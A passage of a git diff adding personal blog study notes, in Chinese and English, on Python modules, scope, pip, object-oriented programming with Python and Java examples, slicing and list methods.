`{'__builtins__': , '__file__': 'testpy.py', '__package__': None, 'content': {...}, '__name__': '__main__', '__doc__': None}` + +- 如果在函数内部调用 `globals()`: 返回所有在该函数里能访问的全局名字。 + - `{'__builtins__': , '__file__': 'testpy.py', '__package__': None, 'content': {...}, '__name__': '__main__', '__doc__': None}` + +两个函数的返回类型都是字典。所以名字们能用 keys() 函数摘取。 + +--- + +### `reload()` 函数 +当一个模块被导入到一个脚本,模块顶层部分的代码只会被执行一次。 +- reload() 函数: 重新执行模块里顶层部分的代码,重新导入之前导入过的模块。 + +```py +# module_name要直接放模块的名字,而不是一个字符串形式。 +reload(module_name) +# 重载 hello 模块 +reload(hello) +``` +--- + +## 标准模块 +Python 本身带着一些标准的模块库 +- 有些模块直接被构建在解析器里,这些虽然不是一些语言内置的功能,但是他却能很高效的使用,甚至是系统级调用也没问题。 +- 这些组件会根据不同的操作系统进行不同形式的配置,比如 `winreg` 这个模块就只会提供给 Windows 系统。 +- 应该注意到这有一个特别的模块 `sys` ,它内置在每一个 Python 解析器中。变量 `sys.ps1` 和 `sys.ps2` 定义了主提示符和副提示符所对应的字符串: + +```py +>>> import sys +>>> sys.ps1 +'>>> ' +>>> sys.ps2 +'... ' +>>> sys.ps1 = 'C> ' +C> print('Runoob!') +Runoob! +C> +``` + + +--- + +### 以内建的sys模块为例 +```py +1. 编写一个hello的模块: + +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +- 第1行和第2行是标准注释 +- 第1行注释可以让这个hello.py文件直接在Unix/Linux/Mac上运行 +- 第2行注释表示.py文件本身使用标准UTF-8编码; + +' a test module ' +# 一个字符串,表示模块的文档注释 +# 任何模块代码的第一个字符串都被视为模块的文档注释; + +__author__ = 'Michael Liao' +# 使用__author__变量把作者写进去,公开源代码后别人就可以know你 + +// 以上就是Python模块的标准文件模板,可以全部删掉不写,但是按标准肯定没错 +// 后面开始就是真正的代码部分。 + +import sys # 使用sys模块的第一步,就是导入该模块 + +def test(): + args = sys.argv + if len(args)==1: + print('Hello, world!') + elif len(args)==2: + print('Hello, %s!' % args[1]) + else: + print('Too many arguments!') + +if __name__=='__main__': + test() + +------------------------------------------------- +导入sys模块后,就有了变量sys指向该模块 +利用sys这个变量,就可以访问sys模块的所有功能。 +sys模块有一个argv变量,用list存储了命令行的所有参数。 +argv至少有一个元素,因为第一个参数0永远是该.py文件的名称 + +- python3 hello.py 获得的sys.argv就是['hello.py']; + +- python3 hello.py Michael获得的sys.argv就是['hello.py', 'Michael']。 + +最后两行代码: +if __name__=='__main__': + test() + +当在命令行运行hello模块文件时,Python解释器把一个特殊变量__name__置为__main__,而 "如果在其他地方导入该hello模块时,if判断将失败" +- 因此,这种if测试可以让一个模块通过命令行运行时执行一些额外的代码 +- 最常见的就是运行测试。test() + +# 效果: +$ python3 hello.py +Hello, world! +$ python hello.py Michael +Hello, Michael! + +## 如果启动Python交互环境,再导入hello模块: +$ python3 +Python 3.4. +>>> import hello +>>> +# 导入时,没有打印Hello, word!,因为没有执行test()函数。 + +调用hello.test()时,才能打印出Hello, word!: + +>>> hello.test() +Hello, world! + +----------------------------------------------- +import sys + +print('命令行参数如下:') +for i in sys.argv: + print(i) +print('\n\n Python 路径为:', sys.path, '\n') + +# 结果: +>>> python test.py 参数1 参数2 +test.py +参数1 +参数2 +Python 路径为: ['/root', '/usr/lib/python3.4', '/usr/lib/python3.4/plat-x86_64-linux-gnu', '/usr/lib/python3.4/lib-dynload', '/usr/local/lib/python3.4/dist-packages', '/usr/lib/python3/dist-packages'] +``` + +`sys.path` 包含了一个 Python 解释器自动查找所需模块的路径的列表。 + +--- + +### 命名空间和作用域 `global VarName` +变量是拥有匹配对象的名字(标识符)。 +命名空间是一个包含了变量名称们(键)和它们各自相应的对象们(值)的字典。 +- 一个 Python 表达式可以访问`局部命名空间`和`全局命名空间`里的变量。 +- 如果一个局部变量和一个全局变量重名,则`局部变量`会覆盖`全局变量`。 + +每个函数都有自己的命名空间。 +- `类的方法的作用域规则`和通常函数的一样。 +- Python 会智能猜测一个变量是局部的还是全局的,它假设任何在函数内赋值的变量都是局部的。 + +因此,如果要给函数内的`全局变量`赋值,必须使用 `global` 语句。 + +`global VarName`: +- 告诉 Python, VarName 是全局变量 +- 这样 Python 就不会在 局部命名空间 里寻找这个变量了。 + +例如 + +在全局命名空间里定义一个变量 Money。再在函数内给变量 Money 赋值 +- Python 会假定 Money 是一个`局部变量`。 +- 没有在访问前声明一个局部变量 Money,结果会出现 `UnboundLocalError` 错误。 +- 取消 global 语句前的注释符就能解决这个问题。 + + +```py +# 在全局命名空间里定义一个变量 Money +Money = 2000 # 在函数内给变量 Money 赋值 +def AddMoney(): + # 想改正代码就取消以下注释: + # global Money + Money = Money + 1 +print Money +AddMoney() +print Money +``` +--- + +### 作用域 +在一个模块中,可能会定义很多函数和变量,但有的函数和变量希望给别人使用,有的函数和变量希望仅仅在模块内部使用。在Python中,是通过`_前缀`来实现的。 +- 正常的函数和变量名是公开的(public),可以被直接引用,比如:abc,x123,PI等; + +- 类似`__xxx__`这样的变量是 *特殊变量*,可以被直接引用,但是有特殊用途,比如上面的`__author__`,`__name__`就是特殊变量,hello模块定义的文档注释也可以用特殊变量__doc__访问,我们自己的变量一般不要用这种变量名; + +- 类似`_xxx`和`__xxx`这样的函数或变量就是非公开的(private),不应该被直接引用,比如`_abc`,`__abc`等; + +之所以我们说,private函数和变量“不应该”被直接引用,而不是“不能”被直接引用,是因为Python并没有一种方法可以完全限制访问private函数或变量,但是,从编程习惯上不应该引用private函数或变量。 + +private函数或变量不应该被别人引用,那它们有什么用呢?请看例子: + +```py +def _private_1(name): # private函数 + return 'Hello, %s' % name + +def _private_2(name): # private函数 + return 'Hi, %s' % name + +def greeting(name): + if len(name) > 3: + return _private_1(name) + else: + return _private_2(name) + +在模块里公开greeting()函数,而把内部逻辑用private函数隐藏起来, +- 这样,调用greeting()函数不用关心内部的private函数细节 +- 是一种非常有用的代码封装和抽象的方法,即: +``` + +外部不需要引用的函数全部定义成`private`,只有外部需要引用的函数才定义为`public`。 + +--- + +### 安装第三方模块 +在Python中,安装第三方模块,通过包管理工具`pip`完成的。 +- Mac或Linux,安装pip可以跳过。 + - Mac或Linux上有可能并存Python 3.x和2.x,因此对应的pip命令是pip3。 +- Windows,确保安装时勾选了`pip`和`Add python.exe to Path`。 + - 在命令提示符窗口下尝试运行`pip`,如果Windows提示未找到命令,可以重新运行安装程序添加pip。 + +例如, + +1. 安装一个第三方库——`Python Imaging Library`,这是Python下非常强大的处理图像的工具库。不过,PIL目前只支持到Python 2.7,并且有年头没有更新了,因此,基于`PIL`的`Pillow`项目开发非常活跃,并且支持最新的Python 3。 + +- 一般来说,第三方库都会在Python官方的`pypi.python.org`网站注册 +- 要安装一个第三方库,必须先知道该库的名称,在官网或者pypi上搜索,比如Pillow的名称叫Pillow +- 安装Pillow的命令就是:`pip install Pillow` +- 耐心等待下载并安装后,就可以使用Pillow了。 + + +2. 安装常用模块 +在使用Python时,我们经常需要用到很多第三方库,例如,上面提到的Pillow,以及MySQL驱动程序,Web框架Flask,科学计算Numpy等。用pip一个一个安装费时费力,还需要考虑兼容性。 +- 推荐直接使用`Anaconda`,一个基于Python的数据处理和科学计算平台,已经内置了许多非常有用的第三方库,装`Anaconda`,就相当于把数十个第三方模块自动安装好了,非常简单易用。 +- 可以从Anaconda官网下载GUI安装包,安装包有500~600M,所以需要耐心等待下载。下载后直接安装,Anaconda会把系统Path中的python指向自己自带的Python,并且,Anaconda安装的第三方模块会安装在Anaconda自己的路径下,不影响系统已安装的Python目录。 +- 安装好Anaconda后,重新打开命令行窗口,输入python,可以看到Anaconda的信息 + + ┌──────────────────────────────────────────────────────┐ + │Command Prompt - python - □ x │ + ├──────────────────────────────────────────────────────┤ + │Microsoft Windows [Version 10.0.0] │ + │(c) 2015 Microsoft Corporation. All rights reserved. │ + │ │ + │C:\> python │ + │Python 3.6.3 |Anaconda, Inc.| ... on win32 │ + │Type "help", ... for more information. │ + │>>> import numpy │ + │>>> _ │ + │ │ + │ │ + │ │ + └──────────────────────────────────────────────────────┘ + +- 可以尝试直接import numpy等已安装的第三方模块。 + +3. 模块搜索路径 +当试图加载一个模块时,Python会在指定的路径下搜索对应的`.py`文件,如果找不到,就会报错: + ```py + >>> import mymodule + Traceback (most recent call last): + File "", line 1, in + ImportError: No module named mymodule + 默认情况下,Python解释器会搜索当前目录、所有已安装的内置模块和第三方模块,搜索路径存放在sys模块的path变量中: + + >>> import sys + >>> sys.path + ['', '/Library/Frameworks/Python.framework/Versions/3.6/lib/python36.zip', '/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6', ..., '/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages'] + ``` + +如果我们要添加自己的搜索目录,有两种方法: + +1. 直接修改sys.path,添加要搜索的目录: + +```py +>>> import sys +>>> sys.path.append('/Users/michael/my_py_scripts') + +这种方法在运行时修改,运行结束后失效。 +``` + +2. 设置环境变量`PYTHONPATH`,该环境变量的内容会被自动添加到模块搜索路径中。设置方式与设置Path环境变量类似。注意只需要添加你自己的搜索路径,Python自己本身的搜索路径不受影响。 + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.05.4.Object-Oriented-Concepts.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.05.4.Object-Oriented-Concepts.md new file mode 100644 index 00000000000..10b0a96306b --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.05.4.Object-Oriented-Concepts.md @@ -0,0 +1,356 @@ +--- +title: Coding - Object Oriented Programming +date: 2019-10-11 11:11:11 -0400 +description: +categories: [00CodeNote] +tags: [] +--- + +[toc] + +--- + +# Object-oriented programming 面向对象编程 `class&Instance` + +Python is an `object-oriented programming` language. +- provides features that support `object-oriented programming (OOP)`. + + +`procedural programming` 面向过程 +- focus is on writing function/procedure which operate on data. +- 把计算机程序 视为一系列的命令集合,即一组函数的顺序执行。 +- 为了简化程序设计,面向过程把函数继续切分为子函数,即把大块函数通过切割成小块函数来降低系统的复杂度。 + + +`Object Oriented Programming - OOP 面向对象`的程序设计 +- focus is on the creation of objects which contain both data and functionality together. +- 一种程序设计思想。 +- 把`Object`作为程序的基本单元 +- 一个`Object`包含了数据和操作数据的函数。 +- 把 计算机程序 视为一组对象的集合,而每个对象都可以接收其他对象发过来的消息,并处理这些消息,计算机程序的执行就是一系列消息在各个对象之间传递。 + +在Python中,所有数据类型都可以视为Object,当然也可以自定义对象。 +- 自定义的对象数据类型就是面向对象中的类(`Class`)的概念。 + +--- + +### `面向过程`和`OOP`在程序流程上的不同之处。 + +处理学生的成绩表 + +1. `面向过程`的程序 + + ```py + # 为了表示一个学生的成绩,用一个dict表示: + std1 = { 'name': 'Michael', 'score': 98 } + std2 = { 'name': 'Bob', 'score': 81 } + # 处理学生成绩可以通过函数实现,比如打印学生的成绩: + def print_score(std): + print('%s: %s' % (std['name'], std['score'])) + ``` + +2. `面向对象`的程序设计思想 + + - 首选思考的不是程序的执行流程,而是Student这种数据类型应该被视为一个对象,这个对象拥有name和score这两个属性(`Property`)。 + - 如果要打印一个学生的成绩 + - 首先创建出学生对应的对象, + + ```py + class Student(object): + def __init__(self, name, score): + self.name = name + self.score = score + def print_score(self): + print('%s: %s' % (self.name, self.score)) + + bart = Student('Bart Simpson', 59) + lisa = Student('Lisa Simpson', 87) + ``` + + - 然后,给对象发一个print_score消息,让对象自己把自己的数据打印出来。 + - 给对象发消息实际上就是调用`对象对应的关联函数` + - 称之为`对象的方法(Method)`。 + + ```py + bart.print_score() + lisa.print_score() + ``` + +`面向对象`的设计思想是从自然界中来的,因为在自然界中,类(Class)和实例(Instance)的概念是很自然的。 +- `Class`是一种抽象概念,比如我们定义的Class——Student,是指学生这个概念 +- 而实例(`Instance`)则是一个个具体的Student,比如,Bart Simpson和Lisa Simpson是两个具体的Student。 + +所以,面向对象的设计思想是抽象出`Class`,根据`Class`创建`Instance`。 +- 面向对象的抽象程度又比函数要高,因为一个Class既包含数据,又包含操作数据的方法 + + +--- + +# 5.4.1. User-defined Classes + +Python provides a way to define `new functions` in programs, it also provides a way to `define new classes of objects`. + +--- + +## Class + +- an entity +- determines how an object will behave and what the object will contain. +- a blueprint or a set of instruction to build a specific type of object. +- It provides initial values for member variables and member functions or methods. + +--- + +## Object + +- a self-contained component +- consists of methods and properties to make a data useful. +- helps to determines the behavior of the class. +- For example + - send a message to an object + - asking the object to invoke or execute one of its methods. + +- From a programming point of view, an object can be a data structure, a variable, or a function that has a memory location allocated. +- The object is designed as class hierarchies. + + +User creatable objects +- In a user program, only objects belonging to certain classes can be created directly. +- In the class hierarchy chart, the yellow boxes denote these user-instantiable classes. +- The other classes fall into one of four categories: + - Non-instantiable superclasses such as Base and View + - Classes designed to function only as composite class members, such as PlotManager and subclasses of the Transformation class + - The classes that can have only one instance, such as Error and Workspace; they are automatically instantiated when the HLU library is initialized + - Classes that are instantiated by certain objects for a specialized purpose on behalf of the user; these currently include the XyDataSpec and AnnoManager classes + +Dynamically associated objects +- In addition to the class hierarchy and composite class relationships, the HLU library has a mechanism that allows you to associate independently-created View objects dynamically. You can "overlay" Transform class objects onto a plot object's data space. You can also make any View object into an "annotation" of a plot object. The combination of the base plot object, its overlays, and its annotations acts in many ways like a single object. Plot objects, overlays, and annotations are discussed in the PlotManager class module, and also in the AnnoManager class module. + +--- + + +### Class hierarchy versus instance hierarchy +Besides the class hierarchy of subclasses derived from the Base superclass, you should be aware that the HLU library defines an "instance hierarchy" of the objects that are created in the course of executing an HLU program. These two hierarchies are completely distinct, and you should be careful not confuse them. +Whenever you create an object, you must specify the object's "parent" as one of the parameters to the create call. Each object you create is therefore the "child" of some parent object. The initial parent, the "ancestor" of all the objects created, must be an "application" (App) object. Depending on the call used to initialize the HLU library, you may need to create this object yourself, or the library may automatically create it for you. + +The instance hierarchy is significant in the following ways: + +When you destroy a parent object all its children are destroyed along with it. +A View object must have a Workstation class ancestor that supplies the viewspace on which it is drawn. +The resource database uses the instance hierarchy to determine how resource specifications in resource files apply to particular objects in an HLU program. + + +--- + + + +# difference between class and object: + +| **Class** | **Object** | +| ----------------------------------------------------------- | ------------------------------------------------------------ | +| `template` for creating objects in program. | an instance of a class. | +| `logical entity` | Object is a physical entity | +| `does not allocate memory space` when it is created. | Object allocates memory space when been created. | +| You can declare class only once. | can create more than one object using a class. | +| Example: Car. | Example: Jaguar, BMW, Tesla, etc. | +| Class generates objects | Objects provide life to the class. | +| `can't be manipulated` as they are not available in memory. | can be manipulated. | +| `doesn't have any values` associated with the fields. | Each and every object has values associated with the fields. | +| create class by "class" keyword. `Class XX {}` | create object by "new" keyword. `XX aa= new XX()` | + +--- + +## Types of Class + +- Derived Classes and Inheritance + - A derived class is a class which is created or derived from other remaining class. + - It is used for increasing the functionality of base class. + - This type of class derives and inherits properties from existing class. + - It can also add or share/extends its own properties. + +1. Superclasses + - A superclass is a class from which you can derive many sub classes. + +2. Subclasses + - A subclass is a class that derives from superclass. + +3. Mixed classes + - combine the functionality from other classes into a new class. + - inherit the properties of one class to another. + - It uses a subset of the functionality of class, whereas a derive class uses the complete set of superclass functionality. + - different + - A mixed class + - manages the properties of other classes + - and may only use a subset of the functionality of a class + - a derived class + - uses the complete set of functionality of its superclasses + - and usually extends this functionality. + - ![concepts.figure.id.9](https://i.imgur.com/VRvJI7o.gif) + +--- + +## Uses of Class + +- Class is used to hold both data variables and member functions +- for create user define objects + - provides a way to organize information about data. +- can use class to inherit the property of other class +- take advantage of constructor or destructor +- can be used for a large amount of data and complex applications. + +--- + +## Use of Object + +- give the type of message accepted and the type of returned responses +- use an object to access a piece of memory using an object reference variable +- It is used to manipulate data +- Objects represent a real-world problem for which you are finding a solution. +- It enables data members and member functions to perform the desired task. + + + +--- + +# example + +## OOPs in Python + + +> Class > Instance > Instance variables/Attributes > Methods + +1. import class like `Turtle` or `Screen` + +2. create a new instance + + ```py + import Turtles + + # make a new window for turtles to paint in + wn = turtle.Screen() + # make a new turtle + alex = turtle.Turtle() + ``` + + - `alex = turtle.Turtle()` + - The Python interpreter find that `Turtle` is a class, not function + - so it creates a new instance of the class and returns it. + - Since the Turtle class was defined in a separate module, (confusingly, also named turtle) + - had to refer to the class as `turtle.Turtle`. + + + + +3. Each instance can have attributes / instance variables + + ```py + # For example + # the following code would print out 1100. + + alex.price = 500 + tess.price = 600 + print(alex.price + tess.price) + ``` + - use `=` to assign values to an attribute + + +4. Classes have associated methods + + ```py + alex.forward(50) + ``` + + - The interpreter looks up `alex` + - finds `alex` is an instance of the class `Turtle`. + - Then it looks up the attribute `forward` + - finds that it is a method + - `Methods` return `values`, like `functions` + - However, none of the methods of the `Turtle class` return values the way the `len` function does. + - the interpreter invokes the method, passing 50 as a **parameter**. + + +The only difference between invocation and function calls +- the `object instance` itself is also passed as a parameter. +- Thus `alex.forward(50)` moves `alex`, while `tess.forward(50)` moves `tess`. + + +--- + + +## OOPs in Java: Classes and Objects + +> design any program using this OOPs approach. + + + +To developing a pet management system, specially meant for dogs. + +declared a class called Dog +1. need to model dogs into software entities + - pic + + +2. need various information about the dogs + - List down the differences between them. + - pic + - differences are also some common characteristics shared by these dogs. + - These characteristics (breed, age, size, color) can form a data members for your object. + + + +3. list out the common behaviors of these dogs + - like sleep, sit, eat, etc. + - So these will be the actions of our software objects. + - pic + +4. So far we have defined following things, + + - **Class**: Dogs + - **Data member / objects**: size, age, color, breed, etc. + - **Methods**: eat, sleep, sit and run. + + - pic + + + + + +5. for different values of data members (breed size, age, and color) in Java class, you will get different dog objects. + - pic + + + +6. after declared a class called Dog, defined an object of the class called "maltese" using a new keyword. + + ```java + // Class Declaration + class Dog { + // Instance Variables + String breed; + String size; + int age; + String color; + + // method 1 + public String getInfo() { + return ("Breed is: "+breed+" Size is:"+size+" Age is:"+age+" color is: "+color); + } + } + + + public class Execute{ + public static void main(String\[\] args) { + Dog maltese = new Dog(); + maltese.breed="Maltese"; + maltese.size="Small"; + maltese.age=2; + maltese.color="white"; + System.out.println(maltese.getInfo()); + } + } + + // Output: + // Breed is: Maltese Size is: Small Age is:2 color is: white + ``` + +--- diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.0.Slice.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.0.Slice.md new file mode 100644 index 00000000000..62cb4135f80 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.0.Slice.md @@ -0,0 +1,45 @@ + +# The Slice Operator `[n:m]` 访问列表中的值 + + +```py +l = ['w', '7', 0, 9] +m = l[1:2] # m is list + +l = ['w', '7', 0, 9] +m = l[1] # m is string +``` + + +[a:b:c] +- count in `increments of c` starting at a inclusive, `up to b` exclusive +- If c is negative you `count backwards` +- if omitted it is 1. +- If a is omitted then you start as far as possible in the direction you're counting from (so that's the start if c is positive and the end if negative). +- If b is omitted then you end as far as possible (to the end if +c, the start if -c). +- If a or b is negative it's an offset from the end (-1 being the last character) instead of the start. + + +string[0::-1] +- one character +- count backwards from index 0 as far as you can +- is the start of the string. + + +string[0:len(string):-1] or for that matter string[0:anything:-1] is subtly different. It's empty for the same reason that string[1:0] is empty. The designated end of the slice cannot be reached from the start. You can think of this as the slice having ended "before" it began (hence is empty), or you can think of the end point being automatically adjusted to be equal to the start point (hence the slice is empty). + + +string[:len(string):-1] +- count backwards from the end up to but not including index len(string) +- That index can't be reached, so the slice is empty. + + +string[:0:-1] +- count backwards from the end up to but not including index 0 +- all except the first character, reversed. + +[:0:-1] is to [::-1] as [0:len(string)-1] is to [:]. In both cases the excluded end of the slice is the index that would have been the included last character of the slice with the end omitted. + + +string[-1::-1] +- same as string[::-1] because -1 means the last character of the string. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.1.Sequences.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.1.Sequences.md new file mode 100644 index 00000000000..7193d0ed98c --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.1.Sequences.md @@ -0,0 +1,40 @@ + +# 6.1. Introduction: Sequences + + +built-in types like: `int`, `float`, and `str`. +- `int` and `float` are considered to be simple or primitive or atomic data types because their values are not composed of any smaller parts. They cannot be broken down. +- `strings` and `lists` are different because they are made up of smaller pieces. +- `strings` are made up of smaller strings each containing one character. + + +Types that are comprised of smaller pieces are called *collection data types*. + + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.List(mutable).md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.List(mutable).md new file mode 100644 index 00000000000..62bf403c2ea --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.06.2.List(mutable).md @@ -0,0 +1,480 @@ + +# list + +[toc] + +## intro `mutable` +创建一个列表,只要把逗号分隔的不同的数据项使用方括号括起来即可 +* 与字符串的索引一样,列表索引从0开始。列表可以进行截取、组合等。 + +A `list` is a `sequential collection` of Python data values +- each value is identified by an `index`. +- The values that make up a list are called its elements. +- the elements of a list can have any type. + +> Note +WP: Don’t Mix Types! +A list of just strings or just integers or just floats is generally easier to deal with. + + +There are several ways to create a new list. The simplest is to enclose the elements in square brackets `[]`. + +```py +list0 = [] +list1 = ["hello", 2.0, 5, [10, 20]]; +list2 = [1, 2, 3, 4, 5 ]; + + +# creating vs indexing +lst = [0] +n_lst = lst[0] + +print(lst) +print(n_lst) +[0] +0 + +``` + +--- + +## The Slice Operator `[n:m]` 访问列表中的值 + +`L[2]`: 读取第三个元素 +`L[-2]`: 从右侧开始读取倒数第二个元素: count from the right +`L[1:]`: 输出从第二个元素开始后的所有元素 + +```py +// The list begins with the second item +// but not including the last item. + L = [0.34, '6', 'SI106', 'Python', -2] + print(len(L[1:-1])) + + +l = ['w', '7', 0, 9] +m = l[1:2] # m is list + +l = ['w', '7', 0, 9] +m = l[1] # m is string +``` + +## Concatenation `+` and Repetition `*` +列表还支持拼接操作:`+` and `*` + +```py +>>> squares = [1, 4, 9, 16, 25] +>>> squares += [36, 49, 64, 81, 100] +>>> squares +[1, 4, 9, 16, 25, 36, 49, 64, 81, 100] + +>>> fruit = ["BigBlueberry","orange","banana","cherry"] +>>> print([0] * 4) +[0, 0, 0, 0] + +>>> alist = [1,3,5] +>>> print(alist * 3) +[1,3,5,1,3,5,1,3,5] +``` + +> Note +> WP: Adding types together +> Python doesn’t understand how to concatenate different type with list, need to make the two objects the same type. +> add a string to a list with `['first'] + "second"` then the interpreter will return an error. +> use `['first'] + ["second"]`. + +--- + +## 嵌套列表 +使用嵌套列表即在列表里创建其它列表,例如: + +```py +>>> a = ['a', 'b', 'c'] +>>> n = [1, 2, 3] +>>> x = [a, n] +>>> x +[['a', 'b', 'c'], [1, 2, 3]] +>>> x[0] +['a', 'b', 'c'] +>>> x[0][1] +'b' +``` + +--- + +## 更新列表 +* 对列表的数据项进行修改或更新 + +```py +1. 使用append() simply modifies the list. + list = ['Google', 'Runoob', 1997, 2000] + list[2] = 2001 + + but!!! + list = ['Google', 'Runoob', 1997,5] + list = list + 999 + Error!!!! cannot concatenate a list with an integer. + + + +2. insert elements into a list by squeezing them into an empty slice at the desired location. + alist = ['a', 'd', 'f'] + alist[1:1] = ['b', 'c'] + alist[4:4] = ['e'] + ['a', 'b', 'c', 'd', 'e', 'f'] + +3. to use concatenation, need to write an assignment statement that uses the accumulator pattern: + origlist = [45, 32, 88] + origlist = origlist + ["cat"] + [45, 32, 88, 'cat'] # id(newlist)=2 + + newlist = origlist + ['cat'] + [45, 32, 88, 'cat'] # id(newlist)=3 + + 1. a = [45,32,88] + 2. b = a + 3. a += ["cat"] + a - [45,32,88,"cat"] - b + + 4. a = a + ["cow"] + b - [45,32,88,"cat"] + a - [45,32,88,"cat","cow"] +``` + +--- + + + +## Python列表脚本操作符 + +Python | 表达式 | 结果 | 描述 +---|---|---|--- +`len`([1, 2, 3]) | 3 | 长度 +[1, 2, 3] `+` [4, 5, 6] | [1, 2, 3, 4, 5, 6] | 组合 +['Hi!'] `*` 4 | ['Hi!', 'Hi!', 'Hi!', 'Hi!'] | 重复 +3 `in` [1, 2, 3] | True | 元素是否存在于列表中 +`for x in` [1, 2, 3]: print(x, end=" ") | 1 2 3 | 迭代 + +--- + +## `mutator` / `hybrid` + +`mutator`: the **list is changed** by the method but **nothing is returned*** + - `None` is returned. + - `append(item)`, `insert(index, item)`, `sort()`, `reverse()`, remove(none) + +`hybrid` method: not only **changes the list** but also **returns a value** as its result. + - pop(none/index), + +if the result is simply a return, then the list is unchanged by the method. + - index(item): Returns the index of first occurrence of item + - count(item): Returns the number of occurrences of item + +```py +mylist=[5, 27, 3, 12] + +mylist=mylist.sort() # probably an error +print(mylist) # None + +mylist.sort() # probably an error +print(mylist) # [3, 5, 12, 27] + +``` + +--- + +## 列表函数 +1. len(list): 列表元素个数 +2. max(list): 返回列表元素最大值 +3. min(list): 返回列表元素最小值 +4. list(seq): 将元组转换为列表 + + +## 列表方法: + +```py +1. list.append(obj): 在列表末尾添加新的对象 +2. list.count(obj): 统计某个元素在列表中出现的次数 +3. list.extend(seq): 在列表末尾一次性追加另一个序列中的多个值(用新列表扩展原来的列表) +4. list.index(obj): 从列表中找出某个值第一个匹配项的索引位置 +5. list.insert(index, obj): 将对象插入列表 +6. list.pop([index=-1]): 移除列表中的一个元素(默认最后一个元素),并且返回该元素的值 +7. list.remove(obj): 移除列表中某个值的第一个匹配项 +8. list.reverse(): 反向列表中元素 +9. list.sort( key=None, reverse=False): 对原列表进行排序 +10. list.clear(): 清空列表 +11. list.copy(): 复制列表 +``` + +--- + +### list.`append`(obj) + +```py +aList = [123, 'xyz', 'zara', 'abc']; +aList.append(2009); +print "Updated List : ", aList +# 输出 +Updated List : [123, 'xyz', 'zara', 'abc', 2009] +``` + +--- + +### list.`count`(obj) 统计元素出现次数。 +- `list.count(obj)` + +```py +a = "I have had an apple on my desk before!" +print(a.count("e")) # 5 +print(a.count("ha")) # 2 + +z = ['atoms', 4, 'neutron', 6, 'proton', 4, 'electron', 4, 'electron', 'atoms'] +print(z.count("4")) # 0 +print(z.count(4)) # 3 + +qu = "wow, welcome week! Were you wanting to go?" +ty = qu.count("we") +# 2 there is a difference between "we" and "We" + +``` + + +3. list.extend(seq): 在列表末尾一次性追加另一个序列中的多个值(用新列表扩展原来的列表) + +--- + +### list.`index`(obj) 找出某个值第一个匹配项的索引位置 + +index will return the `left most index` of the argument. +Even though occurs many times, only return the location of one of them. + +```py +music = "Pull out your music and dancing can begin" +music.index("m") # 14 + +bio = ["Metatarsal", "Metatarsal", "Fibula", [], "Tibia", "Tibia", 43, "Femur", "Occipital", "Metatarsal"] +bio.index("Metatarsal") +# 0 第一个匹配项的索引位置 + +qu = "wow, welcome week!" +ty = qu.index("we") +# 5 get the index for the first character in the string. + + + +``` + +--- + +### list.`insert`(index, obj): 将对象插入列表 + +```py +a = [123, 'xyz', 'zara', 'abc'] +a.insert(3, 2009) +[123, 'xyz', 'zara', 2009, 'abc'] +``` + +--- + +--- + +## remove + +### list.`remove`(value): 移除列表中某个值的第一个匹配项 + +```py +a=[3, 5, 12, 12, 27] +a.remove(5) +a=[3, 12, 12, 27] +``` + +--- + +### `del` list[index] + +```py +motorcycles = ['honda', 'yamaha', 'suzuki'] +del motorcycles[0] +print(motorcycles) +# ['yamaha', 'suzuki'] +``` + +### remove by assigning the empty list. + +```py +alist = ['a', 'b', 'c', 'd', 'e', 'f'] +alist[1:3] = [] +# ['a', 'd', 'e', 'f'] +``` +--- + +### list.`pop`([index=-1]): 移除列表中的一个元素,并且返回该元素的值 + +(默认最后一个元素) + +change the original list +return the item at that position + +```py + +1. a.pop() + a = [3, 12, 12, 27] + b = a.pop() # 27 + # result + # a=[3, 12, 12] + +2. a.pop(1): + pop will remove and return the item at that position + +``` + + +--- + +## Organizing a List + + +### list.`reverse`(): 反向列表中元素 + +```py +a=[5, 12, 27, 3, 12] +a.reverse() +[12, 3, 27, 12, 5] +``` + +--- + +### list.`sort`( key=None, reverse=False): 对原列表进行排序 + +the `sort` method +- does not return a sorted version of the list. +- it returns the value `None`. +- But the list itself has been modified. This kind of operation that works by having a side effect on the list can be quite confusing. + +generally use the function `sorted()` rather than the method `sort()` + +```py +L1 = [1, 7, 4, -2, 3] +L2 = ["Cherry", "BigBlueberry", "Blueberry"] + +L1.sort() # [-2, 1, 3, 4, 7] +L2.sort() # ['BigBlueberry', 'Blueberry', 'Cherry'] + + + +c = ['c', 'b', 'd', 'a', 4, 2, 1, 3] +c.sort(key = lambda item: ([str,int].index(type(item)), item)) +# (0,"a"), (0,"b"), (1,1), (1,2) +# ['a', 'b', 'c', 'd', 1, 2, 3, 4] + + + +``` + + + +```py +c = ['c', 'b', 'd', 'a', 4, 2, 1, 3] +c.sort(key = lambda item: ([str,int].index(type(item)), item)) +c.sort(key = lambda item: ({str:0, int:1}.get(type(item), 2), item)) +# let all non-string non-ints sort to the right. + + +# Python3 program to sort letters +# of string alphabetically +def sortString(str): + return ''.join(sorted(str)) +# Driver code +str = 'PYTHON' +print(sortString(str)) + + + +from functools import reduce +def sortString(str): + return reduce(lambda a, b : a + b, sorted(str)) +# Driver code +str = 'PYTHON' +print(sortString(str)) + + + +# Python3 program to sort letters +# of string alphabetically +from itertools import accumulate +def sortString(str): + return "".join(sorted(str, key = lambda x:x.lower())) +# Driver code +str = 'Geeks' +print(sortString(str)) + + +``` + +--- + +10. list.clear(): 清空列表 + + +## Copying a List + + +### Slice 